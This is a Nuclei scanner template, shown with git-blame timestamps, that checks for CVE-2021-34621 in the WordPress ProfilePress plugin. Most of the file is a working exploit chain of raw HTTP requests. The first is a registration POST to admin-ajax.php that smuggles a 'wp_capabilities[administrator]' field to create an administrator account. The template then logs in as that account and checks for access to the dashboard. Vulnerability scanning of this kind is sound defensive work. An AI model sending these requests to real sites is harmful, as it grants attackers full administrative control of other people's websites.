nuclei-templates/cves/2021/CVE-2021-34621.yaml

113 lines
4.0 KiB
YAML
Raw Normal View History

2021-07-10 17:01:08 +00:00
id: CVE-2021-34621
info:
name: WordPress ProfilePress 3.0.0-3.1.3 - Admin User Creation Weakness
2021-07-10 17:01:08 +00:00
author: 0xsapra
severity: critical
description: ProfilePress WordPress plugin is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.
reference:
- https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin
- https://nvd.nist.gov/vuln/detail/CVE-2021-34621
- https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/
- http://packetstormsecurity.com/files/163973/WordPress-ProfilePress-3.1.3-Privilege-Escalation.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-34621
cwe-id: CWE-269
tags: wordpress,wp-plugin,packetstorm,cve,cve2021
2021-07-10 17:01:08 +00:00
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------138742543134772812001999326589
Origin: {{BaseURL}}
Referer: {{BaseURL}}
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_username"
{{randstr}}
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_email"
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_password"
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_password_present"
true
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_first_name"
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_last_name"
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="_wp_http_referer"
/wp/?page_id=18
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="pp_current_url"
{{BaseURL}}
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="wp_capabilities[administrator]"
1
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="signup_form_id"
1
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="signup_referrer_page"
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="action"
pp_ajax_signup
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="melange_id"
-----------------------------138742543134772812001999326589--
- |
2021-08-08 17:27:07 +00:00
POST /wp-login.php HTTP/1.1
2021-07-10 17:01:08 +00:00
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: {{BaseURL}}
Referer: {{BaseURL}}
log={{randstr}}@interact.sh&pwd={{randstr}}@interact.sh&wp-submit=Log+In
2021-07-10 17:01:08 +00:00
- |
GET /wp-admin/ HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2021-08-08 17:27:07 +00:00
- "Welcome to your WordPress Dashboard"
2021-07-10 17:01:08 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/05/02